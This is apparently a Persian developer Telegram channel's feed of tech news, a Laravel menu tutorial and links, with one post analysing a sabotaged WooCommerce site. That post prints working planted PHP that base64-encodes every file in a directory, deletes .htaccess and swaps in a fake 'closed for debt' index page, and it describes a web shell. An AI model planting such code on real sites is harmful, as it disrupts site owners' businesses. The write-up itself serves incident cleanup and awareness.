🎄 یک برنامه نویس تنبل
2.02K subscribers
1.54K photos
284 videos
37 files
1.91K links
کانال یک برنامه نویس تنبل

🔥لینوکس
🔥برنامه نویسی فرانت‌اند
🔥برنامه نویسی بک‌اند
🔥اخبار تکنولوژی و...

ارتباط با مدیریت :

@CoderNap

اسپانسر هاست سایت راییوم توسط پوینا

https://rayium.ir

@poinair
Download Telegram
🔶 مایکروسافت اعلام کرد که اسکایپ را به نفع مایکروسافت تیمز تعطیل می کند.

پایان یک دوران است که مایکروسافت اسکایپ را در ماه مه تعطیل می کند و نسخه رایگان مایکروسافت تیمز را برای کاربران جایگزین می کند. کاربران اسکایپ می‌توانند به برنامه مایکروسافت تیمز وارد شوند و تاریخچه پیام‌ها، چت‌های گروهی و مخاطبین خود را بدون نیاز به ایجاد حساب دیگری به‌طور خودکار در دسترس قرار دهند، یا می‌توانند به جای آن داده‌های خود را ارسال کنند. مایکروسافت همچنین پشتیبانی از تماس با شماره های داخلی یا بین المللی را به تدریج قطع می کند.

#خبر

@TheRaymondDev
👍3🎉1
Forwarded from laravel-news
امروز و فردا به تمام دوره های #Vue_School دسترسی خواهید داشت!

همین حالا ثبت‌نام کنید!

Get Free Access to all 70+ Vue School Courses - 1-2 March
This weekend at Vue School, get access to 48 hours of premium Vue.js courses FOR FREE!

https://vueschool.io/freeweekend

#Vue
🔶 چگونه منوهای لاراول را داینامیک کنیم؟

در حالت عادی شما می توانید با کد زیر به راحتی منو داینامیک کنید:

<a href="{{ route('admin.index') }}" class="btn {{ request()->routeIs('admin.index') ? 
'btn-light text-start border-0 active' : 'btn-light text-start border-0' }}
rounded-3 mb-2"><i class="fa-duotone fa-home me-2"></i> پیشخوان </a>


اما در حالت حرفه ای تر از طریق Providers می توانید منوها را تعریف کنید.

۱- فایل پروایدر AdminMenuServiceProvider ایجاد کنید:

php artisan make:provider AdminMenuServiceProvider


۲- در مسیر config/app.php فایل پروایدر را صدا بزنید:

'providers' => [
App\Providers\AdminMenuServiceProvider::class,
],


۳- در AdminMenuServiceProvider با متد booted محتوای کد به این شکل خواهد بود:

public function boot(): void
{
$this->app->booted(function () {
config()->set('admin.menus', [
'admin' => [
'route' => 'admin',
'url' => route('admin.index'),
'title' => 'پیشخوان',
'icon' => 'fa-home'
],
'users' => [
'route' => 'users',
'url' => route('users.index'),
'title' => 'کاربران',
'icon' => 'fa-users'
],
]);
});
}


۴- در آخر نمایش منوها :

@foreach(config('admin.menus', []) as $row)
@php
$baseRouteName = $row['route'] ?? null;
$isActive = $baseRouteName ? request()->routeIs([
"{$baseRouteName}.index",
"{$baseRouteName}.create",
"{$baseRouteName}.edit"
]) : false;
@endphp

<a href="{{ $row['url'] }}"
type="button"
class="btn {{ $isActive ? 'btn-light text-start
border-0 active' : 'btn-light text-start border-0' }} rounded-3 mb-2">
<i class="fa-duotone {{ $row['icon'] ?? '' }}"></i> {{ $row['title'] ?? '' }}
</a>
@endforeach


#لاراول

@TheRaymondDev
👍4🤔2
🔶 طبق بررسی هایی که در گیت هاب صورت گرفته است که متاسفانه بیش 1115 مخزن دارای محتوای کرک و ماد مربوط به نرم افزار های مثل فتوشاپ و فورتنایت و روبلاکس داده های کاربران را به سرقت می ببرند.

تمام داده های رایانه شما جمع آوری و به برخی از سرورهای دیسکورد ارسال می شود و جایی که صدها نفر در داده ها به دنبال کلیدهای خصوصی کیف پول رمزنگاری، حساب های بانکی و اعتبار رسانه های اجتماعی و حتی حساب های Steam و Riot Games می گردند.

پ . ن : اخیرا گیت هاب 100 هزار مخزن آلوده به بدافزار پیدا کرده است.

#خبر

@TheRaymondDev
🔶 میزکار سینامون لینوکس مینت یه باگ عجیبی داره.

این باگ اینکه در بخش جسنجو منوها اگر یک حروف فارسی وارد بشه کل میزکار کرش می کنه...

به روز رسانی : این بعضی وقتا اتفاق می افته...

#لینوکس

@TheRaymondDev
🤣13👍1
🔶 استفاده دانشجویان از هوش مصنوعی، ناقوس مرگ برای تفکر انتقادی است.

به گزارش گاردین، دانشگاه‌های انگلستان اخیرا هشدار دادند که ۹۲ درصد دانشجویان از هوش مصنوعی استفاده می‌کنند و این برای دانشگاه‌ها که قرن‌ها خود را مخزن دانش و حقیقت می‌دانستند، ناگوار است. فروپاشی زمانی آغاز شد که دیگر کسی برای کارشناسان ارزش قائل نشد، تفکر انتقادی تضعیف شد و گفتمان عمومی به حالت دوقطبی درآمد.

منابع سنتی دانش به طور فزاینده‌ای در حال رد شدن هستند. کتاب‌ها، مقالات، مجلات و رسانه‌های قدیمی با پیشرفت‌های صورت‌گرفته در ارائه و بازیابی اطلاعات، به ویژه از طریق اپلیکیشن‌ها و رسانه‌های اجتماعی به چالش کشیده می‌شوند. این امر منجر به "Tinderfication" دانش شده است.

به عنوان مثال، فهرست‌های مطالعه تنظیم‌شده برای استفاده دانشگاهیان در پژوهش اغلب توسط دانشجویان نادیده گرفته می‌شوند و جست‌وجو در «گوگل» جای آنها را می‌گیرد. اگر دانشجو از آنچه می‌خواند خوشش نیاید، می‌تواند به سادگی به گوگل روی بیاورد. الگوریتم‌ها می‌توانند دانشجویان را به جهت‌های غیرمنتظره بفرستند و اغلب آنها را از سختگیری تحصیلی به سمت منابع غیر دانشگاهی منحرف می‌کنند.

#خبر

@TheRaymondDev
👍5
خیلی وقته که براتون لینک تخفیف دوره یودمی نذاشتم.
دوره پرامپت نویسی chat gpt با قیمت ۲۰ یورو.
با لینک زیر رایگان برای شما

https://www.udemy.com/course/chatgpt-101-42/?couponCode=4FD47E6896B03DA2C89E

@DevTwitter | <Farhad Fallah/>
DevTwitter | توییت برنامه نویسی
خیلی وقته که براتون لینک تخفیف دوره یودمی نذاشتم. دوره پرامپت نویسی chat gpt با قیمت ۲۰ یورو. با لینک زیر رایگان برای شما https://www.udemy.com/course/chatgpt-101-42/?couponCode=4FD47E6896B03DA2C89E @DevTwitter | <Farhad Fallah/>
راهکار ساده برای تنبلا:
سوالتونو بنویسید chatgpt ازش بخواید پرامپت مناسب درکشو براتون بنویسه بعد با اون ازش سوال بپرسید

اسکی از منبع Linuxor

@TheRaymondDev
😁7👎1
🔶 اکستنشن XTranslator کروم : ترجمه توییت ها با هوش مصنوعی جمنای

خود شبکه اجتماعی ایکس سیستم داخلی ترجمه را دارد اما با XTranslator متون انگلیسی را به فارسی روان تر ترجمه می کند.

https://github.com/iSegaro/XTranslator

@TheRaymondDev
3
🔶 آموزش پردازش ابری به رشته‌های فنی‌وحرفه‌ای کشور اضافه شد

استانداردهای شایستگی شغل مهندس پردازش ابری شامل «تکنسین ابری» و «مهندس پردازش ابری» زیر نظر سازمان فنی‌وحرفه‌ای کشور و با همکاری تخصصی آروان‌کلاد به سرفصل‌های آموزشی کشور اضافه شد و این استانداردها که پس از تطبیق با شاخص‌های جهانی در فهرست شایستگی‌های شغل مهندسی ابری، قرار گرفته، هم‌اکنون در وب‎سایت سازمان فنی‌وحرفه‌ای با کدهای ۳۵۱۲ و ۲۵۱۲ در دسترس دانش‌پذیران است.

</zoomit>
#خبر

@TheRaymondDev
👍2
آفرین به شیرین سوهانی و حسین ملایمی، کارگردانان انیمیشن "در سایه سرو" که برنده جایزه اسکار ۹۷ برای بهترین انیمیشن کوتاه شدند! 👏🎉

همچنین کانون پرورش فکری کودکان و نوجوانان که همیشه حامی استعدادهای درخشان این سرزمین بوده و یک سرمایه ملی برای ایران محسوب می‌شود
11👍4👎2🔥2
🔶 امروز برای اولین بار سایت فروشگاهی ووکامرس - وردپرس را ویروس یابی و پاک سازی کردم.

برنامه نویس قبلی (کاریش ندارم ناراضی هست و چکار کرده) اقدام به نوشتن کدهایی PHP برای از کار انداختن وب سایت فروشگاهی کرده است و ممکنه این کدها توسط هوش مصنوعی نوشته شده باشد و در نوع خودش جالب توجه بود.

فایل ها و کدهای مشکوک در روت اجرا می شد و هر بار کدها پاکسازی می کردم که طرف با بارگزاری سایت با پسوند نامشخص, باز کدها رو تولید می کرد و همین که مشخص شد که چندین فایل وجود است که به همه آنها دسترسی 0000 توی هاست دادم و تقریبا اجرای کد مخرب متوقف شد! و سایت به حالت عادی برگشت.

ممکنه امروز کدها رو به اشتراک بزارم و برای شما جالب باشد.

چون اولین باره این کار انجام دادم که هزینه نگرفتم و تجربه کسب کردم.

#وردپرس

@TheRaymondDev
1👍8
🔶 اینجا چند فایل پیدا کردم که جز وردپرس نبودند و اما با اضافه کردن پسوند wp- سعی در فریب صاحب سایت می کند که بدونه این فایل جز وردپرس هست و که مثلا نباید حذف شود...

wp-test.php
wp-untest.php
wp-con.php
wp-in.php


در اینجاست که دو فایل wp-test و wp-untest کدها را می ببنید:

wp-test.php

<?php
$excluded_files = ['wp-untest.php', 'wp-test.php'];
$files = scandir(__DIR__);

foreach ($files as $file) {
if (is_file($file) && !in_array($file, $excluded_files)) {
$content = file_get_contents($file);
$encoded = base64_encode($content);
file_put_contents($file . ".b64", $encoded);
}
}
?>


wp-untest.php

<?php
$excluded_files = ['wp-untest.php', 'wp-test.php'];
$files = scandir(__DIR__);

foreach ($files as $file) {
if (is_file($file) && substr($file, -4) === ".b64") {
$original_name = substr($file, 0, -4);
if (!in_array($original_name, $excluded_files)) {
$content = file_get_contents($file);
$decoded = base64_decode($content);
file_put_contents($original_name, $decoded);
unlink($file);
}
}
}
?>


کد بالا یک اسکریپت ساده است که فایل‌های موجود در دایرکتوری جاری را بررسی می‌کند، محتوای آن‌ها را خوانده و به صورت base64 کدگذاری می‌کند، سپس نتیجه را در فایل‌های جدید با پسوند .b64 ذخیره می‌کند.

<?php

$filePath = '.htaccess';

if (chmod($filePath, 0644)) {
echo "دسترسی فایل با موفقیت تغییر یافت.\n";
} else {
echo "تغییر دسترسی فایل ناموفق بود.\n";
exit;
}

if (unlink($filePath)) {
echo "فایل با موفقیت حذف شد.\n";
} else {
echo "حذف فایل ناموفق بود.\n";
}
?>


کد بالا اینکه .htaccess دسترسی رو به ۰۶۴۴ تغییر میده و .htaccess کنونی هم حذف می کند.

wp-in.php

<!DOCTYPE html>
<html lang="fa" dir="rtl">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>سایت موقتاً بسته است</title>
</head>
<body>
<div>
<h1>متأسفیم!</h1>
<p>این سایت بدلیل بدهی مالی تا اطلاع ثانوی بسته می‌باشد.</p>
</div>
</body>
</html>


کد wp-in حاوی کد ساده ایندکس هست که وظیفه اینه به فایل index.php وردپرس کپی و پیست کند.

حالا می رسیدم به wp-con.php

این بخش خیلی کد طولانی که ۲۳۳ خط کد هست که قرار نمیدم عملکرد اینکه می تونه پوشه و فایل مورد نظر رو آپلود وحذف کند و لیست فایل ها رو نمایش بده که همان وب شل (Web Shell) نامیده می شود و هکرها آن را روی سرورهای وب قربانی نصب می‌کنند تا از راه دور به سیستم دسترسی داشته باشند.

اینجا این کدها که منظم بوده با هوش مصنوعی نوشته شده است!

بنابراین که باید از هوش مصنوعی ترسید! که میتواند کدهای مخرب رو بنویسند و برنامه نویس حداقل متوسطه می تواند از این کدها بهره بگیرد.

تاکید می کنم که از این کدها سو استفاده نکنید و صرفا برای دانستن وب و امنیت است و کانال یک برنامه نویس تنبل هیچ مسئولیتی در سو استفاده از کدها برعهده نمی گیرد.


#وردپرس

@TheRaymondDev
👍2
Forwarded from Golden Code (علی 🇨🇴)
متود times در لاراول بهتون این امکان رو میده که یک کار رو چندین بار به راحتی بتونید تکرار کنید بدون نیاز به نوشتن for یا foreach. یعنی شما میگید که یک کار رو مثلاً ۵ بار انجام بده، و لاراول به طور خودکار اون کار رو ۵ بار براتون انجام میده.

کاربردش؟؟
مثلا در تست نویسی(ایجاد رکورد با تعداد مدنظر در دیتابیس)

چجوری کار میکنه؟
در هر تکرار، شماره‌ی تکرار (که در اینجا number$ هستش) به closure داده میشه و میتونین ازش برای انجام کاری مثل چاپ پیام یا پردازش دیتای مدنظر استفاده کنین.
#Laravel
@GoldenCodeir
(به منبع و مثالش دقت کنید 👇🏾)
https://x.com/laravelbackpack/status/1896538556551884968?t=q22doKctgbLdIHAW0U24uA&s=35
👍2🔥1
🔶 ممکن است تصور کنید که خودپردازهای جهان از ویندوز ۱۰ استفاده می کند.

اما با اینکه آمار دقیقی وجود ندارد اما ۷۵ درصد از ۴۲۰۰۰۰ دستگاه خودپرداز در دنیا از ویندوز XP استفاده می کند.

البته ویندوز XP مخصوص بانک است که مایکروسافت برای آن نسخه به روز رسانی منتشر می کند.

دلیلی که اکثرا بانک های ایران و جهان به ویندوز ۱۰ مهاجرت نمی کند به دلیل هزینه بالای ارتقا و نرم افزار بانکی خاصی است که بر ویندوز XP اجرا می شوند و قابلیت اجرا در ویندوز ۱۰ ندارند!

در ایران همین مسئله هست که اکثرا سیستم های بانکی روی ویندوز XP است.

در مقابل حدود ۷۵ درصد از ۳.۴ میلیون دستگاه خودپرداز از ویندوز ۷ استفاده می کند.

#خبر

@TheRaymondDev
3
Forwarded from $ Bits of Nyx (Mohammad)
اگه تو شهری سنتی، مذهبی و غیرکلان‌شهر زندگی کنید متوجه میشید در اتفاقاتی که ناشی از زن ستیزی هست بخش زیادی از زنان اطرافش از این اتفاق حمایت میکنن.

لزوما ربطی به این نداره که این زن‌ها به اصطلاح پیک‌می هستند؛ بیانگر اینه مرد و زن در جامعه یک سری کلیشه ساختند و در قالب فرهنگ پذیرفتن. هر دو مقصر این سیستم جنسیت‌زده هستند و هر دو هم در نهایت قربانی می‌شوند.


برای نابودی این سیستم نیازی نیست شما هم مثل این زن و مردهایی که نام بردم رفتار کنید. به ریشه بنگرید و اون رو اصلاح کنید.

با معکوس کردن نوع جنسیت‌زدگی هیچ پیشرفتی حاصل نمیشه صرفا خودتون خشمگین میشید و به تباهی می‌رسید؛ بدون حاصل شدن نتیجه‌ای. تبدیل به دیکتاتور‌های کوچیکی دارای پتانسیل "تروریست شدن" خواهید شد که ذره‌ای به منطق گوش فرا نمی‌دن.

به عنوان یک مرد خودم نیز قربانی برخی رفتارهای این جامعه مردانه شدم؛ اما درست نیست به مردها توهین کنید. مردهایی مثل من که خودشون قربانی هستند لایق توهین و ناسزا نیستن. مردهایی که به این رفتار شما هم معترض هستند زن ستیز نیستند صرفا از رفتارهای افراطی شما خسته شدن. خسته از اینکه انسان‌ها چه زن چه مرد اکثرا همان ماشین‌های تکاملی هستند که برای بقای خود هر چیزی رو باور می‌کنند و تغییر عقیده اشتباه برایشان سخت است.


📣  @FalahiDEVDaily
Please open Telegram to view this post
VIEW IN TELEGRAM
👎9
🔶 ریز تراشه ESP32 که توسط سازنده چینی Espressif ساخته شده و تا سال 2023 توسط بیش از 1 میلیارد واحد استفاده می شود، حاوی یک "درب پشتی" غیرمستند است که می تواند برای حملات مورد استفاده قرار گیرد.

#خبر

@TheRaymondDev
😈3😐2